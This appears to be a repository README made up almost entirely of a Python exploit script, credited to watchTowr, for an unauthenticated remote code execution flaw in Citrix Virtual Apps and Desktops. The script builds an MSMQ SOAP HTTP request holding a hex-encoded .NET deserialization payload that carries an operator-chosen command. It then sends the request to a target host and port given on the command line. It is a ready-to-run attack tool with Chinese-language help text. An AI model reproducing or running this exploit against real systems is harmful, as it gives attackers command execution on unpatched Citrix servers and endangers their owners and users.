README.md
Rendering markdown...
import socket
import random
from uuid import uuid4
from datetime import datetime, timedelta
import argparse
def print_banner():
banner = """
CVE-xxxx-xxxxx.py
(*) Citrix Virtual Apps and Desktops Unauthenticated Remote Code Execution (CVE-xxxx-xxxxx) exploit by watchTowr
- Sina Kheirkhah (@SinSinology), watchTowr ([email protected])
CVEs: [CVE-xxxx-xxxxx]
"""
print(banner)
def parse_arguments():
parser = argparse.ArgumentParser()
parser.add_argument('--target', '-t', type=str, help='目标的IP地址', required=True)
parser.add_argument('--cmd', '-c', type=str, help='要执行的命令', required=True)
parser.add_argument('--port', '-p', type=int, help='目标端口', required=False, default=80)
return parser.parse_args()
def generate_payload(target, cmd):
cmd = ("/c " + cmd).encode()
cmdlen = len(cmd)
random_boundary = "MSMQ - SOAP boundary, " + str(random.randint(100000000, 999999999))
random_guid = str(uuid4())
random_int = str(random.randint(1000, 9999))
sentAt = datetime.now()
expiresAt = sentAt + timedelta(days=4)
sentAt_str = sentAt.strftime('%Y%m%dT%H%M%S')
TTrq = expiresAt.strftime('%Y%m%dT%H%M%S')
var_first = f"""POST /msmq/private$/citrixsmaudeventdata HTTP/1.1\r
Host: {target}\r
Content-Type: multipart/related; boundary="{random_boundary}"; type=text/xml\r
Content-Length: REPLACE_FULL_SIZE\r
SOAPAction: "MSMQMessage"\r
Proxy-Accept: NonInteractiveClient\r
\r
--{random_boundary}\r
Content-Type: text/xml; charset=UTF-8\r
Content-Length: REPLACE_XML_SIZE\r
\r
"""
the_xml = f"""<se:Envelope xmlns:se="http://schemas.xmlsoap.org/soap/envelope/" xmlns="http://schemas.xmlsoap.org/srmp/"><se:Header><path xmlns="http://schemas.xmlsoap.org/rp/" se:mustUnderstand="1"><action>MSMQ:</action><to>HTTP://{target}/msmq/Private$/CitrixSmAudEventData</to><id>uuid:{random_int}@{random_guid}</id></path><properties se:mustUnderstand="1"><expiresAt>20380119T031407</expiresAt><sentAt>{sentAt_str}</sentAt></properties><Msmq xmlns="msmq.namespace.xml"><Class>0</Class><Priority>3</Priority><Correlation>AAAAAAAAAAAAAAAAAAAAAAAAAAA=</Correlation><App>0</App><BodyType>768</BodyType><HashAlgorithm>32782</HashAlgorithm><SourceQmGuid>{random_guid}</SourceQmGuid><TTrq>{TTrq}</TTrq></Msmq></se:Header><se:Body></se:Body></se:Envelope>""".encode('utf-8')
var_third = f"""--{random_boundary}\r
Content-Type: application/octet-stream\r
Content-Length: REPLACE_MESSAGE_SIZE\r
Content-Id: body@{random_guid}\r
\r
"""
the_msg = bytes.fromhex("00 01 00 00 00 FF FF FF FF 01 00 00 00 00 00 00 00 0C 02 00 00 00 49 53 79 73 74 65 6D 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39" +
"05 01 00 00 00 84 01 53 79 73 74 65 6D 2E 43 6F 6C 6C 65 63 74 69 6F 6E 73 2E 47 65 6E 65 72 69 63 2E 53 6F 72 74 65 64 53 65 74 60 31" +
"5B 5B 53 79 73 74 65 6D 2E 53 74 72 69 6E 67 2C 20 6D 73 63 6F 72 6C 69 62 2C 20 56 65 72 73 69 6F 6E 3D 34 2E 30 2E 30 2E 30 2C 20 43 75 6C 74 75 72 65 3D 6E 65 75 74 72 61 6C 2C 20 50 75 62 6C 69 63 4B 65 79 54 6F 6B 65 6E 3D 62 37 37 61 35 63 35 36 31 39 33 34 65 30 38 39") + int.to_bytes(cmdlen, 4, 'big') + cmd
the_end = f"--{random_boundary}--\r\n"
xml_size = len(the_xml)
message_size = len(the_msg)
var_first = var_first.replace("REPLACE_XML_SIZE", str(xml_size))
var_third = var_third.replace("REPLACE_MESSAGE_SIZE", str(message_size))
final_payload = var_first.encode() + the_xml + var_third.encode() + the_msg + the_end.encode()
final_payload = final_payload.replace(b"REPLACE_FULL_SIZE", str(len(final_payload[final_payload.index(b"--MSMQ"):])).encode())
return final_payload
def send_payload(target, port, payload):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(payload)
s.close()
print(f"[INFO] 已成功向 {target} 发送命令!")
except:
print(f"[ERROR] 无法连接到目标 {target} 的端口 {port}!")
exit(1)
def main():
print_banner()
args = parse_arguments()
payload = generate_payload(args.target, args.cmd)
send_payload(args.target, args.port, payload)
if __name__ == "__main__":
main()